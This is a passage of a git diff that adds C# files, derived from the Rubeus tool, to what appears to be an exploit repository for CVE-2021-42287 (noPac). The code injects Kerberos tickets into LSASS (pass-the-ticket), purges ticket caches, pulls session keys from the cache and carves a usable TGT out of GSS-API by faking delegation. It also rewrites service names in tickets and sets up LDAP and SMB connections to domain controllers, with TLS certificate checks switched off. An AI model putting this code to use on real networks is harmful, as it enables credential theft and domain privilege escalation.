IntPtr(inputBuffer.ToInt64() + request.KerbCredOffset), ticket.Length); + ntstatus = Interop.LsaCallAuthenticationPackage(LsaHandle, AuthenticationPackage, inputBuffer, inputBufferSize, out ProtocolReturnBuffer, out ReturnBufferLength, out ProtocalStatus); + if (ntstatus != 0) + { + var winError = Interop.LsaNtStatusToWinError((uint)ntstatus); + var errorMessage = new Win32Exception((int)winError).Message; + Console.WriteLine("[X] Error {0} running LsaLookupAuthenticationPackage: {1}", winError, errorMessage); + return; + } + if (ProtocalStatus != 0) + { + var winError = Interop.LsaNtStatusToWinError((uint)ProtocalStatus); + var errorMessage = new Win32Exception((int)winError).Message; + Console.WriteLine("[X] Error {0} running LsaLookupAuthenticationPackage (ProtocalStatus): {1}", winError, errorMessage); + return; + } + Console.WriteLine("[+] Ticket successfully imported!"); + } + finally + { + if (inputBuffer != IntPtr.Zero) + Marshal.FreeHGlobal(inputBuffer); + Interop.LsaDeregisterLogonProcess(LsaHandle); + } + } + + public static void Purge(LUID targetLuid) + { + // uses LsaCallAuthenticationPackage() with a message type of KERB_PURGE_TKT_CACHE_REQUEST to purge tickets + // for the current (or specified) logon session + + // straight from Vincent LE TOUX' work + // https://github.com/vletoux/MakeMeEnterpriseAdmin/blob/master/MakeMeEnterpriseAdmin.ps1#L2925-L2971 + + var lsaHandle = GetLsaHandle(); + int AuthenticationPackage; + int ntstatus, ProtocalStatus; + + if ((ulong)targetLuid != 0) + { + if (!Helpers.IsHighIntegrity()) + { + Console.WriteLine("[X] You need to be in high integrity to purge tickets from a different logon session"); + return; + } + + } + + var inputBuffer = IntPtr.Zero; + IntPtr ProtocolReturnBuffer; + int ReturnBufferLength; + try + { + Interop.LSA_STRING_IN LSAString; + var Name = "kerberos"; + LSAString.Length = (ushort)Name.Length; + LSAString.MaximumLength = (ushort)(Name.Length + 1); + LSAString.Buffer = Name; + ntstatus = Interop.LsaLookupAuthenticationPackage(lsaHandle, ref LSAString, out AuthenticationPackage); + if (ntstatus != 0) + { + var winError = Interop.LsaNtStatusToWinError((uint)ntstatus); + var errorMessage = new Win32Exception((int)winError).Message; + Console.WriteLine("[X] Error {0} running LsaLookupAuthenticationPackage: {1}", winError, errorMessage); + return; + } + + var request = new Interop.KERB_PURGE_TKT_CACHE_REQUEST(); + request.MessageType = Interop.KERB_PROTOCOL_MESSAGE_TYPE.KerbPurgeTicketCacheMessage; + + if ((ulong)targetLuid != 0) + { + Console.WriteLine("[*] Target LUID: 0x{0:x}", (ulong)targetLuid); + request.LogonId = targetLuid; + } + + var inputBufferSize = Marshal.SizeOf(typeof(Interop.KERB_PURGE_TKT_CACHE_REQUEST)); + inputBuffer = Marshal.AllocHGlobal(inputBufferSize); + Marshal.StructureToPtr(request, inputBuffer, false); + ntstatus = Interop.LsaCallAuthenticationPackage(lsaHandle, AuthenticationPackage, inputBuffer, inputBufferSize, out ProtocolReturnBuffer, out ReturnBufferLength, out ProtocalStatus); + if (ntstatus != 0) + { + var winError = Interop.LsaNtStatusToWinError((uint)ntstatus); + var errorMessage = new Win32Exception((int)winError).Message; + Console.WriteLine("[X] Error {0} running LsaLookupAuthenticationPackage: {1}", winError, errorMessage); + return; + } + if (ProtocalStatus != 0) + { + var winError = Interop.LsaNtStatusToWinError((uint)ProtocalStatus); + var errorMessage = new Win32Exception((int)winError).Message; + Console.WriteLine("[X] Error {0} running LsaLookupAuthenticationPackage (ProtocolStatus): {1}", winError, errorMessage); + return; + } + Console.WriteLine("[+] Tickets successfully purged!"); + } + finally + { + if (inputBuffer != IntPtr.Zero) + Marshal.FreeHGlobal(inputBuffer); + Interop.LsaDeregisterLogonProcess(lsaHandle); + } + } + + #endregion + + + #region Misc Helpers + + public static byte[] GetEncryptionKeyFromCache(string target, Interop.KERB_ETYPE etype) + { + // gets the cached session key for a given service ticket + // used by RequestFakeDelegTicket() + + int authPack; + IntPtr lsaHandle; + int retCode; + var name = "kerberos"; + byte[] returnedSessionKey; + Interop.LSA_STRING_IN LSAString; + LSAString.Length = (ushort)name.Length; + LSAString.MaximumLength = (ushort)(name.Length + 1); + LSAString.Buffer = name; + + retCode = Interop.LsaConnectUntrusted(out lsaHandle); + retCode = Interop.LsaLookupAuthenticationPackage(lsaHandle, ref LSAString, out authPack); + + var returnBufferLength = 0; + var protocalStatus = 0; + var responsePointer = IntPtr.Zero; + var request = new Interop.KERB_RETRIEVE_TKT_REQUEST(); + var response = new Interop.KERB_RETRIEVE_TKT_RESPONSE(); + + // signal that we want encoded .kirbi's returned + request.MessageType = Interop.KERB_PROTOCOL_MESSAGE_TYPE.KerbRetrieveEncodedTicketMessage; + request.CacheOptions = (uint)Interop.KERB_CACHE_OPTIONS.KERB_RETRIEVE_TICKET_USE_CACHE_ONLY; + request.EncryptionType = (int)etype; + + // target SPN to fake delegation for + var tName = new Interop.UNICODE_STRING(target); + request.TargetName = tName; + + // the following is due to the wonky way LsaCallAuthenticationPackage wants the KERB_RETRIEVE_TKT_REQUEST + // for KerbRetrieveEncodedTicketMessages + + // create a new unmanaged struct of size KERB_RETRIEVE_TKT_REQUEST + target name max len + var structSize = Marshal.SizeOf(typeof(Interop.KERB_RETRIEVE_TKT_REQUEST)); + var newStructSize = structSize + tName.MaximumLength; + var unmanagedAddr = Marshal.AllocHGlobal(newStructSize); + + // marshal the struct from a managed object to an unmanaged block of memory. + Marshal.StructureToPtr(request, unmanagedAddr, false); + + // set tName pointer to end of KERB_RETRIEVE_TKT_REQUEST + var newTargetNameBuffPtr = (IntPtr)((long)(unmanagedAddr.ToInt64() + (long)structSize)); + + // copy unicode chars to the new location + Interop.CopyMemory(newTargetNameBuffPtr, tName.buffer, tName.MaximumLength); + + // update the target name buffer ptr + Marshal.WriteIntPtr(unmanagedAddr, IntPtr.Size == 8 ? 24 : 16, newTargetNameBuffPtr); + + // actually get the data + retCode = Interop.LsaCallAuthenticationPackage(lsaHandle, authPack, unmanagedAddr, newStructSize, out responsePointer, out returnBufferLength, out protocalStatus); + + // translate the LSA error (if any) to a Windows error + var winError = Interop.LsaNtStatusToWinError((uint)protocalStatus); + + if ((retCode == 0) && ((uint)winError == 0) && (returnBufferLength != 0)) + { + // parse the returned pointer into our initial KERB_RETRIEVE_TKT_RESPONSE structure + response = (Interop.KERB_RETRIEVE_TKT_RESPONSE)Marshal.PtrToStructure((System.IntPtr)responsePointer, typeof(Interop.KERB_RETRIEVE_TKT_RESPONSE)); + + // extract the session key + var sessionKeyType = (Interop.KERB_ETYPE)response.Ticket.SessionKey.KeyType; + var sessionKeyLength = response.Ticket.SessionKey.Length; + var sessionKey = new byte[sessionKeyLength]; + Marshal.Copy(response.Ticket.SessionKey.Value, sessionKey, 0, sessionKeyLength); + + returnedSessionKey = sessionKey; + } + else + { + var errorMessage = new Win32Exception((int)winError).Message; + Console.WriteLine("\r\n[X] Error {0} calling LsaCallAuthenticationPackage() for target \"{1}\" : {2}", winError, target, errorMessage); + returnedSessionKey = null; + } + + // clean up + Interop.LsaFreeReturnBuffer(responsePointer); + Marshal.FreeHGlobal(unmanagedAddr); + + // disconnect from LSA + Interop.LsaDeregisterLogonProcess(lsaHandle); + + return returnedSessionKey; + } + + public static byte[] RequestFakeDelegTicket(string targetSPN = "", bool display = true) + { + // requests a ticket to 'cifs/dc.domain.com', which *should* be configured for unconstrained delegation + // the AP-REQ and associated forwarded TGT for the current user is carved out of GSS-API, so we get + // a usable TGT for the current user, without elevation + + byte[] finalTGTBytes = null; + + if (String.IsNullOrEmpty(targetSPN)) + { + if (display) + { + Console.WriteLine("[*] No target SPN specified, attempting to build 'cifs/dc.domain.com'"); + } + // try to get the current domain and domain controller + var domain = System.DirectoryServices.ActiveDirectory.Domain.GetCurrentDomain().Name; + var domainController = Networking.GetDCName(domain); + if (String.IsNullOrEmpty(domainController)) + { + Console.WriteLine("[X] Error retrieving current domain controller"); + return null; + } + targetSPN = String.Format("cifs/{0}", domainController); + } + + var phCredential = new Interop.SECURITY_HANDLE(); + var ptsExpiry = new Interop.SECURITY_INTEGER(); + var SECPKG_CRED_OUTBOUND = 2; + + // first get a handle to the Kerberos package + var status = Interop.AcquireCredentialsHandle(null, "Kerberos", SECPKG_CRED_OUTBOUND, IntPtr.Zero, IntPtr.Zero, 0, IntPtr.Zero, ref phCredential, ref ptsExpiry); + + if (status == 0) + { + var ClientToken = new Interop.SecBufferDesc(12288); + var ClientContext = new Interop.SECURITY_HANDLE(0); + uint ClientContextAttributes = 0; + var ClientLifeTime = new Interop.SECURITY_INTEGER(0); + var SECURITY_NATIVE_DREP = 0x00000010; + var SEC_E_OK = 0x00000000; + var SEC_I_CONTINUE_NEEDED = 0x00090312; + + if (display) + { + Console.WriteLine("[*] Initializing Kerberos GSS-API w/ fake delegation for target '{0}'", targetSPN); + } + + // now initialize the fake delegate ticket for the specified targetname (default cifs/DC.domain.com) + var status2 = Interop.InitializeSecurityContext(ref phCredential, + IntPtr.Zero, + targetSPN, // null string pszTargetName, + (int)(Interop.ISC_REQ.ALLOCATE_MEMORY | Interop.ISC_REQ.DELEGATE | Interop.ISC_REQ.MUTUAL_AUTH), + 0, //int Reserved1, + SECURITY_NATIVE_DREP, //int TargetDataRep + IntPtr.Zero, //Always zero first time around... + 0, //int Reserved2, + out ClientContext, //pHandle CtxtHandle = SecHandle + out ClientToken, //ref SecBufferDesc pOutput, //PSecBufferDesc + out ClientContextAttributes, //ref int pfContextAttr, + out ClientLifeTime); //ref IntPtr ptsExpiry ); //PTimeStamp + + if ((status2 == SEC_E_OK) || (status2 == SEC_I_CONTINUE_NEEDED)) + { + if (display) + { + Console.WriteLine("[+] Kerberos GSS-API initialization success!"); + } + + if ((ClientContextAttributes & (uint)Interop.ISC_REQ.DELEGATE) == 1) + { + if (display) + { + Console.WriteLine("[+] Delegation requset success! AP-REQ delegation ticket is now in GSS-API output."); + } + + // the fake delegate AP-REQ ticket is now in the cache! + + // the Kerberos OID to search for in the output stream + // from Kekeo -> https://github.com/gentilkiwi/kekeo/blob/master/kekeo/modules/kuhl_m_tgt.c#L329-L345 + byte[] KeberosV5 = { 0x06, 0x09, 0x2a, 0x86, 0x48, 0x86, 0xf7, 0x12, 0x01, 0x02, 0x02 }; // 1.2.840.113554.1.2.2 + var ClientTokenArray = ClientToken.GetSecBufferByteArray(); + var index = Helpers.SearchBytePattern(KeberosV5, ClientTokenArray); + if (index > 0) + { + var startIndex = index += KeberosV5.Length; + + // check if the first two bytes == TOK_ID_KRB_AP_REQ + if ((ClientTokenArray[startIndex] == 1) && (ClientTokenArray[startIndex + 1] == 0)) + { + if (display) + { + Console.WriteLine("[*] Found the AP-REQ delegation ticket in the GSS-API output."); + } + + startIndex += 2; + var apReqArray = new byte[ClientTokenArray.Length - startIndex]; + Buffer.BlockCopy(ClientTokenArray, startIndex, apReqArray, 0, apReqArray.Length); + + // decode the supplied bytes to an AsnElt object + // false == ignore trailing garbage + var asn_AP_REQ = AsnElt.Decode(apReqArray, false); + + foreach (var elt in asn_AP_REQ.Sub[0].Sub) + { + if (elt.TagValue == 4) + { + // build the encrypted authenticator + var encAuthenticator = new EncryptedData(elt.Sub[0]); + var authenticatorEtype = (Interop.KERB_ETYPE)encAuthenticator.etype; + if (display) + { + Console.WriteLine("[*] Authenticator etype: {0}", authenticatorEtype); + } + + // grab the service ticket session key from the local cache + var key = GetEncryptionKeyFromCache(targetSPN, authenticatorEtype); + + if (key != null) + { + var base64SessionKey = Convert.ToBase64String(key); + if (display) + { + Console.WriteLine("[*] Extracted the service ticket session key from the ticket cache: {0}", base64SessionKey); + } + + // KRB_KEY_USAGE_AP_REQ_AUTHENTICATOR = 11 + var rawBytes = Crypto.KerberosDecrypt(authenticatorEtype, Interop.KRB_KEY_USAGE_AP_REQ_AUTHENTICATOR, key, encAuthenticator.cipher); + + var asnAuthenticator = AsnElt.Decode(rawBytes, false); + + foreach (var elt2 in asnAuthenticator.Sub[0].Sub) + { + if (elt2.TagValue == 3) + { + if (display) + { + Console.WriteLine("[+] Successfully decrypted the authenticator"); + } + + var cksumtype = Convert.ToInt32(elt2.Sub[0].Sub[0].Sub[0].GetInteger()); + + // check if cksumtype == GSS_CHECKSUM_TYPE + if (cksumtype == 0x8003) + { + var checksumBytes = elt2.Sub[0].Sub[1].Sub[0].GetOctetString(); + + // check if the flags include GSS_C_DELEG_FLAG + if ((checksumBytes[20] & 1) == 1) + { + var dLen = BitConverter.ToUInt16(checksumBytes, 26); + var krbCredBytes = new byte[dLen]; + // copy out the krbCredBytes from the checksum structure + Buffer.BlockCopy(checksumBytes, 28, krbCredBytes, 0, dLen); + + var asn_KRB_CRED = AsnElt.Decode(krbCredBytes, false); + Ticket ticket = null; + var cred = new KRB_CRED(); + + foreach (var elt3 in asn_KRB_CRED.Sub[0].Sub) + { + if (elt3.TagValue == 2) + { + // extract the TGT and add it to the KRB-CRED + ticket = new Ticket(elt3.Sub[0].Sub[0].Sub[0]); + cred.tickets.Add(ticket); + } + else if (elt3.TagValue == 3) + { + var enc_part = elt3.Sub[0].Sub[1].GetOctetString(); + + // KRB_KEY_USAGE_KRB_CRED_ENCRYPTED_PART = 14 + var rawBytes2 = Crypto.KerberosDecrypt(authenticatorEtype, Interop.KRB_KEY_USAGE_KRB_CRED_ENCRYPTED_PART, key, enc_part); + + // decode the decrypted plaintext enc par and add it to our final cred object + var encKrbCredPartAsn = AsnElt.Decode(rawBytes2, false); + cred.enc_part.ticket_info.Add(new KrbCredInfo(encKrbCredPartAsn.Sub[0].Sub[0].Sub[0].Sub[0])); + } + } + + var kirbiBytes = cred.Encode().Encode(); + var kirbiString = Convert.ToBase64String(kirbiBytes); + + if (display) + { + Console.WriteLine("[*] base64(ticket.kirbi):\r\n", kirbiString); + + if (false) + { + // display the .kirbi base64, columns of 80 chararacters + foreach (var line in Helpers.Split(kirbiString, 80)) + { + Console.WriteLine(" {0}", line); + } + } + else + { + Console.WriteLine(" {0}", kirbiString); + } + } + + finalTGTBytes = kirbiBytes; + } + } + else + { + Console.WriteLine("[X] Error: Invalid checksum type: {0}", cksumtype); + } + } + } + } + else + { + Console.WriteLine("[X] Error: Unable to extract session key from cache for target SPN: {0}", targetSPN); + } + } + } + } + else + { + Console.WriteLine("[X] Error: Kerberos OID not found in output buffer!"); + } + } + else + { + Console.WriteLine("[X] Error: Kerberos OID not found in output buffer!"); + } + } + else + { + Console.WriteLine("[X] Error: Client is not allowed to delegate to target: {0}", targetSPN); + } + } + else + { + Console.WriteLine("[X] Error: InitializeSecurityContext error: {0}", status2); + } + // cleanup 1 + Interop.DeleteSecurityContext(ref ClientContext); + } + else + { + Console.WriteLine("[X] Error: AcquireCredentialsHandle error: {0}", status); + } + + // cleanup 2 + Interop.FreeCredentialsHandle(ref phCredential); + return finalTGTBytes; + } + + public static void SubstituteTGSSname(KRB_CRED kirbi, string altsname, bool ptt = false, LUID luid = new LUID()) + { + // subtitutes in an alternate servicename (sname) into a supplied service ticket + + Console.WriteLine("[*] Substituting in alternate service name: {0}", altsname); + + var name_string = new List(); + var parts = altsname.Split('/'); + if (parts.Length == 1) + { + // sname alone + kirbi.tickets[0].sname.name_string[0] = parts[0]; // ticket itself + kirbi.enc_part.ticket_info[0].sname.name_string[0] = parts[0]; // enc_part of the .kirbi + } + else if (parts.Length == 2) + { + name_string.Add(parts[0]); + name_string.Add(parts[1]); + + kirbi.tickets[0].sname.name_string = name_string; // ticket itself + kirbi.enc_part.ticket_info[0].sname.name_string = name_string; // enc_part of the .kirbi + } + + var kirbiBytes = kirbi.Encode().Encode(); + + LSA.DisplayTicket(kirbi, 2, false, true); + + // TODO: check this code! + + //var kirbiString = Convert.ToBase64String(kirbiBytes); + + //Console.WriteLine("[*] base64(ticket.kirbi):\r\n", kirbiString); + + //// display the .kirbi base64, columns of 80 chararacters + //foreach (var line in Helpers.Split(kirbiString, 80)) + //{ + // Console.WriteLine(" {0}", line); + //} + + //DisplayTicket(kirbi, false); + + if (ptt || ((ulong)luid != 0)) + { + // pass-the-ticket -> import into LSASS + LSA.ImportTicket(kirbiBytes, luid); + } + } + + #endregion + } +} diff --git a/00-CVE_EXP/CVE-2021-42287/noPac/noPac/lib/Networking.cs b/00-CVE_EXP/CVE-2021-42287/noPac/noPac/lib/Networking.cs new file mode 100644 index 0000000..c4dd185 --- /dev/null +++ b/00-CVE_EXP/CVE-2021-42287/noPac/noPac/lib/Networking.cs @@ -0,0 +1,556 @@ +using System; +using System.ComponentModel; +using System.DirectoryServices; +using System.DirectoryServices.Protocols; +using System.Runtime.InteropServices; +using System.Text.RegularExpressions; +using System.Collections.Generic; +using System.Threading; +using SearchScope = System.DirectoryServices.Protocols.SearchScope; +using System.IO; +using System.Linq; + +namespace Rubeus +{ + public class Networking + { + public static string GetDCName(string domainName = "") + { + // retrieves the current domain controller name + + // adapted from https://www.pinvoke.net/default.aspx/netapi32.dsgetdcname + Interop.DOMAIN_CONTROLLER_INFO domainInfo; + const int ERROR_SUCCESS = 0; + IntPtr pDCI = IntPtr.Zero; + + int val = Interop.DsGetDcName("", domainName, 0, "", + Interop.DSGETDCNAME_FLAGS.DS_DIRECTORY_SERVICE_REQUIRED | + Interop.DSGETDCNAME_FLAGS.DS_RETURN_DNS_NAME | + Interop.DSGETDCNAME_FLAGS.DS_IP_REQUIRED, out pDCI); + + if (ERROR_SUCCESS == val) { + domainInfo = (Interop.DOMAIN_CONTROLLER_INFO)Marshal.PtrToStructure(pDCI, typeof(Interop.DOMAIN_CONTROLLER_INFO)); + string dcName = domainInfo.DomainControllerName; + Interop.NetApiBufferFree(pDCI); + return dcName.Trim('\\'); + } + else { + try { + string pdc = System.DirectoryServices.ActiveDirectory.Domain.GetCurrentDomain().PdcRoleOwner.Name; + return pdc; + } + catch { + string errorMessage = new Win32Exception((int)val).Message; + Console.WriteLine("\r\n [X] Error {0} retrieving domain controller : {1}", val, errorMessage); + Interop.NetApiBufferFree(pDCI); + return ""; + } + } + } + + public static string GetDCIP(string DCName, bool display = true, string domainName = "") + { + if (String.IsNullOrEmpty(DCName)) + { + DCName = GetDCName(domainName); + } + Match match = Regex.Match(DCName, @"([0-9A-Fa-f]{1,4}:){7}[0-9A-Fa-f]{1,4}|(\d{1,3}\.){3}\d{1,3}"); + if (match.Success) + { + if (display) + { + Console.WriteLine("[*] Using domain controller: {0}", DCName); + } + return DCName; + } + else + { + try + { + // If we call GetHostAddresses with an empty string, it will return IP addresses for localhost instead of DC + if (String.IsNullOrEmpty(DCName)) + { + Console.WriteLine("[X] Error: No domain controller could be located"); + return null; + } + System.Net.IPAddress[] dcIPs = System.Net.Dns.GetHostAddresses(DCName); + + foreach (System.Net.IPAddress dcIP in dcIPs) + { + if (dcIP.AddressFamily == System.Net.Sockets.AddressFamily.InterNetwork || dcIP.AddressFamily == System.Net.Sockets.AddressFamily.InterNetworkV6) + { + if (display) + { + Console.WriteLine("[*] Using domain controller: {0} ({1})", DCName, dcIP); + } + return String.Format("{0}", dcIP); + } + } + Console.WriteLine("[X] Error resolving hostname '{0}' to an IP address: no IPv4 or IPv6 address found", DCName); + return null; + } + catch (Exception e) + { + Console.WriteLine("[X] Error resolving hostname '{0}' to an IP address: {1}", DCName, e.Message); + return null; + } + } + } + + public static string GetDCNameFromIP(string IP) + { + Match match = Regex.Match(IP, @"([0-9A-Fa-f]{1,4}:){7}[0-9A-Fa-f]{1,4}|(\d{1,3}\.){3}\d{1,3}"); + if (match.Success) + { + try + { + System.Net.IPHostEntry DC = System.Net.Dns.GetHostEntry(IP); + return DC.HostName; + } + catch (Exception e) + { + Console.WriteLine("[X] Error resolving IP address '{0}' to a name: {1}", IP, e.Message); + return null; + } + } + return IP; + } + + public static byte[] SendBytes(string server, int port, byte[] data) + { + var ipEndPoint = new System.Net.IPEndPoint(System.Net.IPAddress.Parse(server), port); + try + { + using (System.Net.Sockets.TcpClient client = new System.Net.Sockets.TcpClient(ipEndPoint.AddressFamily)) { + + // connect to the server over The specified port + client.Client.Ttl = 128; + client.Connect(ipEndPoint); + BinaryReader socketReader = new BinaryReader(client.GetStream()); + BinaryWriter socketWriter = new BinaryWriter(client.GetStream()); + + socketWriter.Write(System.Net.IPAddress.HostToNetworkOrder(data.Length)); + socketWriter.Write(data); + + int recordMark = System.Net.IPAddress.NetworkToHostOrder(socketReader.ReadInt32()); + int recordSize = recordMark & 0x7fffffff; + + if((recordMark & 0x80000000) > 0) { + Console.WriteLine("[X] Unexpected reserved bit set on response record mark from Domain Controller {0}:{1}, aborting", server, port); + return null; + } + + byte[] responseRecord = socketReader.ReadBytes(recordSize); + + if(responseRecord.Length != recordSize) { + Console.WriteLine("[X] Incomplete record received from Domain Controller {0}:{1}, aborting", server, port); + return null; + } + + return responseRecord; + } + } + catch (System.Net.Sockets.SocketException e) + { + if (e.SocketErrorCode == System.Net.Sockets.SocketError.TimedOut) { + Console.WriteLine("[X] Error connecting to {0}:{1} : {2}", server, port, e.Message); + } else { + Console.WriteLine("[X] Failed to get response from Domain Controller {0}:{1} : {2}", server, port, e.Message); + } + + }catch(FormatException fe) { + Console.WriteLine("[X] Error parsing IP address {0} : {1}", server, fe.Message); + } + + return null; + } + + public static DirectoryEntry GetLdapSearchRoot(System.Net.NetworkCredential cred, string OUName, string domainController, string domain) + { + DirectoryEntry directoryObject = null; + string ldapPrefix = ""; + string ldapOu = ""; + + //If we have a DC then use that instead of the domain name so that this works if user doesn't have + //name resolution working but specified the IP of a DC + if (!String.IsNullOrEmpty(domainController)) + { + ldapPrefix = domainController; + } + else if (!String.IsNullOrEmpty(domain)) //If we don't have a DC then use the domain name (if we have one) + { + ldapPrefix = domain; + } + else if (cred != null) //If we don't have a DC or a domain name but have credentials, get domain name from them + { + ldapPrefix = cred.Domain; + } + + if (!String.IsNullOrEmpty(OUName)) + { + ldapOu = OUName.Replace("ldap", "LDAP").Replace("LDAP://", ""); + } + else if (!String.IsNullOrEmpty(domain)) + { + ldapOu = String.Format("DC={0}", domain.Replace(".", ",DC=")); + } + + //If no DC, domain, credentials, or OU were specified + if (String.IsNullOrEmpty(ldapPrefix) && String.IsNullOrEmpty(ldapOu)) + { + directoryObject = new DirectoryEntry(); + + } + else //If we have a prefix (DC or domain), an OU path, or both + { + string bindPath = ""; + if (!String.IsNullOrEmpty(ldapPrefix)) + { + bindPath = String.Format("LDAP://{0}", ldapPrefix); + } + if (!String.IsNullOrEmpty(ldapOu)) + { + if (!String.IsNullOrEmpty(bindPath)) + { + bindPath = String.Format("{0}/{1}", bindPath, ldapOu); + } + else + { + bindPath = String.Format("LDAP://{0}", ldapOu); + } + } + + directoryObject = new DirectoryEntry(bindPath); + } + + if (cred != null) + { + // if we're using alternate credentials for the connection + string userDomain = String.Format("{0}\\{1}", cred.Domain, cred.UserName); + directoryObject.Username = userDomain; + directoryObject.Password = cred.Password; + + // Removed credential validation check because it just caused problems and doesn't gain us anything (if invalid + // credentials are specified, the LDAP search will fail with "Logon failure: bad username or password" anyway) + + //string contextTarget = ""; + //if (!string.IsNullOrEmpty(domainController)) + //{ + // contextTarget = domainController; + //} + //else + //{ + // contextTarget = cred.Domain; + //} + + //using (PrincipalContext pc = new PrincipalContext(ContextType.Domain, contextTarget)) + //{ + // if (!pc.ValidateCredentials(cred.UserName, cred.Password)) + // { + // throw new Exception(String.Format("\r\n[X] Credentials supplied for '{0}' are invalid!", userDomain)); + // } + // else + // { + // Console.WriteLine("[*] Using alternate creds : {0}", userDomain); + // } + //} + } + return directoryObject; + } + + public static List> GetLdapQuery(System.Net.NetworkCredential cred, string OUName, string domainController, string domain, string filter, bool ldaps = false) + { + var ActiveDirectoryObjects = new List>(); + if (String.IsNullOrEmpty(domainController)) + { + domainController = Networking.GetDCName(domain); //if domain is null, this will try to find a DC in current user's domain + } + if (String.IsNullOrEmpty(domainController)) + { + Console.WriteLine("[X] Unable to retrieve the domain information, try again with '/domain'."); + return null; + } + + if (ldaps) + { + LdapConnection ldapConnection = null; + SearchResponse response = null; + List result = new List(); + // perhaps make this dynamic? + int maxResultsToRequest = 1000; + + try + { + var serverId = new LdapDirectoryIdentifier(domainController, 636); + ldapConnection = new LdapConnection(serverId, cred); + ldapConnection.SessionOptions.SecureSocketLayer = true; + ldapConnection.SessionOptions.VerifyServerCertificate += delegate { return true; }; + ldapConnection.Bind(); + } + catch (Exception ex) + { + if (ex.InnerException != null) + { + Console.WriteLine("[X] Error binding to LDAP server: {0}", ex.InnerException.Message); + } + else + { + Console.WriteLine("[X] Error binding to LDAP server: {0}", ex.Message); + } + return null; + } + + if (String.IsNullOrEmpty(OUName)) + { + OUName = String.Format("DC={0}", domain.Replace(".", ",DC=")); + } + + try + { + Console.WriteLine("[*] Searching path '{0}' for '{1}'", OUName, filter); + PageResultRequestControl pageRequestControl = new PageResultRequestControl(maxResultsToRequest); + PageResultResponseControl pageResponseControl; + SearchRequest request = new SearchRequest(OUName, filter, SearchScope.Subtree, null); + request.Controls.Add(pageRequestControl); + while (true) + { + response = (SearchResponse)ldapConnection.SendRequest(request); + foreach (SearchResultEntry entry in response.Entries) + { + result.Add(entry); + } + pageResponseControl = (PageResultResponseControl)response.Controls[0]; + if (pageResponseControl.Cookie.Length == 0) + break; + pageRequestControl.Cookie = pageResponseControl.Cookie; + } + } + catch (Exception ex) + { + Console.WriteLine("[X] Error executing LDAP query: {0}", ex.Message); + } + + if (response.ResultCode == ResultCode.Success) + { + ActiveDirectoryObjects = Helpers.GetADObjects(result); + } + } + else + { + DirectoryEntry directoryObject = null; + DirectorySearcher searcher = null; + try + { + directoryObject = Networking.GetLdapSearchRoot(cred, OUName, domainController, domain); + searcher = new DirectorySearcher(directoryObject); + // enable LDAP paged search to get all results, by pages of 1000 items + searcher.PageSize = 1000; + } + catch (Exception ex) + { + if (ex.InnerException != null) + { + Console.WriteLine("[X] Error creating the domain searcher: {0}", ex.InnerException.Message); + } + else + { + Console.WriteLine("[X] Error creating the domain searcher: {0}", ex.Message); + } + return null; + } + + // check to ensure that the bind worked correctly + try + { + string dirPath = directoryObject.Path; + if (String.IsNullOrEmpty(dirPath)) + { + Console.WriteLine("[*] Searching the current domain for '{0}'", filter); + } + else + { + Console.WriteLine("[*] Searching path '{0}' for '{1}'", dirPath, filter); + } + } + catch (DirectoryServicesCOMException ex) + { + if (!String.IsNullOrEmpty(OUName)) + { + Console.WriteLine("\r\n[X] Error validating the domain searcher for bind path \"{0}\" : {1}", OUName, ex.Message); + } + else + { + Console.WriteLine("\r\n[X] Error validating the domain searcher: {0}", ex.Message); + } + return null; + } + + try + { + searcher.Filter = filter; + } + catch (Exception ex) + { + Console.WriteLine("[X] Error settings the domain searcher filter: {0}", ex.InnerException.Message); + return null; + } + + SearchResultCollection results = null; + + try + { + results = searcher.FindAll(); + + if (results.Count == 0) + { + Console.WriteLine("[X] No results returned by LDAP!"); + return null; + } + } + catch (Exception ex) + { + if (ex.InnerException != null) + { + Console.WriteLine("[X] Error executing the domain searcher: {0}", ex.InnerException.Message); + } + else + { + Console.WriteLine("[X] Error executing the domain searcher: {0}", ex.Message); + } + return null; + } + ActiveDirectoryObjects = Helpers.GetADObjects(results); + } + + return ActiveDirectoryObjects; + } + + // implementation adapted from https://github.com/tevora-threat/SharpView + public static Dictionary> GetGptTmplContent(string path, string user = null, string password = null) + { + Dictionary> IniObject = new Dictionary>(); + string sysvolPath = String.Format("\\\\{0}\\SYSVOL", (new System.Uri(path).Host)); + + int result = AddRemoteConnection(null, sysvolPath, user, password); + if (result != (int)Interop.SystemErrorCodes.ERROR_SUCCESS) + { + return null; + } + + if (System.IO.File.Exists(path)) + { + var content = File.ReadAllLines(path); + var CommentCount = 0; + var Section = ""; + foreach (var line in content) + { + if (Regex.IsMatch(line, @"^\[(.+)\]")) + { + Section = Regex.Split(line, @"^\[(.+)\]")[1].Trim(); + Section = Regex.Replace(Section, @"\s+", ""); + IniObject[Section] = new Dictionary(); + CommentCount = 0; + } + else if (Regex.IsMatch(line, @"^(;.*)$")) + { + var Value = Regex.Split(line, @"^(;.*)$")[1].Trim(); + CommentCount = CommentCount + 1; + var Name = @"Comment" + CommentCount; + IniObject[Section][Name] = Value; + } + else if (Regex.IsMatch(line, @"(.+?)\s*=(.*)")) + { + var matches = Regex.Split(line, @"="); + var Name = Regex.Replace(matches[0].Trim(), @"\s+", ""); + var Value = Regex.Replace(matches[1].Trim(), @"\s+", ""); + // var Values = Value.Split(',').Select(x => x.Trim()); + + // if ($Values -isnot [System.Array]) { $Values = @($Values) } + + IniObject[Section][Name] = Value; + } + } + } + + result = RemoveRemoteConnection(null, sysvolPath); + + return IniObject; + } + + public static int AddRemoteConnection(string host = null, string path = null, string user = null, string password = null) + { + var NetResourceInstance = Activator.CreateInstance(typeof(Interop.NetResource)) as Interop.NetResource; + List paths = new List(); + int returnResult = 0; + + if (host != null) + { + string targetComputerName = host.Trim('\\'); + paths.Add(String.Format("\\\\{0}\\IPC$", targetComputerName)); + } + else + { + paths.Add(path); + } + + foreach (string targetPath in paths) + { + NetResourceInstance.RemoteName = targetPath; + NetResourceInstance.ResourceType = Interop.ResourceType.Disk; + + NetResourceInstance.RemoteName = targetPath; + + Console.WriteLine("[*] Attempting to mount: {0}", targetPath); + + + int result = Interop.WNetAddConnection2(NetResourceInstance, password, user, 4); + + if (result == (int)Interop.SystemErrorCodes.ERROR_SUCCESS) + { + Console.WriteLine("[*] {0} successfully mounted", targetPath); + } + else + { + Console.WriteLine("[X] Error mounting {0} error code {1} ({2})", targetPath, (Interop.SystemErrorCodes)result, result); + returnResult = result; + } + } + return returnResult; + } + + public static int RemoveRemoteConnection(string host = null, string path = null) + { + + List paths = new List(); + int returnResult = 0; + + if (host != null) + { + string targetComputerName = host.Trim('\\'); + paths.Add(String.Format("\\\\{0}\\IPC$", 